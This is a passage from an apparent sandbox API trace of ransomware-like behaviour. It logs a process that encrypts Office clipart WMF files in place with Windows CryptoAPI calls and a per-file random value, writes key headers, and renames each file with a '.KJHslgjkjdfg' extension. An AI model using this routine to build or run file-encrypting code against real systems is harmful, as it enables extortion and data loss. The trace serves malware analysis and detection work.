phKey=0x4dff274*=0x2f182c8) returned 1 [0194.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.703] GetProcessHeap () returned 0x2ef0000 [0194.703] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.703] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.703] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.703] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa79c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa79c, lpOverlapped=0x0) returned 1 [0194.705] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa7a0, dwBufLen=0xa7a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa7a0) returned 1 [0194.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.705] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa7a0, lpOverlapped=0x0) returned 1 [0194.705] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.705] SetEndOfFile (hFile=0x130) returned 1 [0194.708] GetProcessHeap () returned 0x2ef0000 [0194.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.708] GetProcessHeap () returned 0x2ef0000 [0194.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.kjhslgjkjdfg")) returned 1 [0194.709] CloseHandle (hObject=0x130) returned 1 [0194.709] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0194.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.709] GetProcessHeap () returned 0x2ef0000 [0194.710] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.710] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.710] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.711] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.711] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.711] GetProcessHeap () returned 0x2ef0000 [0194.711] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.711] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.712] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.712] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.719] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.719] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.719] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.719] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.720] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2c8, lpOverlapped=0x0) returned 1 [0194.720] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d0) returned 1 [0194.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.720] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d0, lpOverlapped=0x0) returned 1 [0194.720] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.720] SetEndOfFile (hFile=0x130) returned 1 [0194.723] GetProcessHeap () returned 0x2ef0000 [0194.723] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.723] GetProcessHeap () returned 0x2ef0000 [0194.723] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.kjhslgjkjdfg")) returned 1 [0194.724] CloseHandle (hObject=0x130) returned 1 [0194.724] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0194.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.725] GetProcessHeap () returned 0x2ef0000 [0194.725] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.725] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.725] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.727] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.727] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.727] GetProcessHeap () returned 0x2ef0000 [0194.727] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.728] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.728] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.728] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.728] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.728] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.728] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.728] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.728] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.728] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.728] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x78c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x78c, lpOverlapped=0x0) returned 1 [0194.729] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790, dwBufLen=0x790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790) returned 1 [0194.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.729] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x790, lpOverlapped=0x0) returned 1 [0194.729] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.729] SetEndOfFile (hFile=0x130) returned 1 [0194.731] GetProcessHeap () returned 0x2ef0000 [0194.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.731] GetProcessHeap () returned 0x2ef0000 [0194.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.kjhslgjkjdfg")) returned 1 [0194.732] CloseHandle (hObject=0x130) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0194.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.734] GetProcessHeap () returned 0x2ef0000 [0194.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.734] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.734] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.736] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.737] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.737] GetProcessHeap () returned 0x2ef0000 [0194.737] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.737] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.737] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.737] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.737] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.737] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.737] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.737] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb88, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb88, lpOverlapped=0x0) returned 1 [0194.737] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb90, dwBufLen=0xb90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb90) returned 1 [0194.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.737] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb90, lpOverlapped=0x0) returned 1 [0194.738] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.738] SetEndOfFile (hFile=0x130) returned 1 [0194.738] GetProcessHeap () returned 0x2ef0000 [0194.738] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.738] GetProcessHeap () returned 0x2ef0000 [0194.739] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.kjhslgjkjdfg")) returned 1 [0194.739] CloseHandle (hObject=0x130) returned 1 [0194.739] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0194.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.740] GetProcessHeap () returned 0x2ef0000 [0194.740] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.740] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.740] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.741] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.741] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.741] GetProcessHeap () returned 0x2ef0000 [0194.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.741] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.741] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.741] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.741] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, 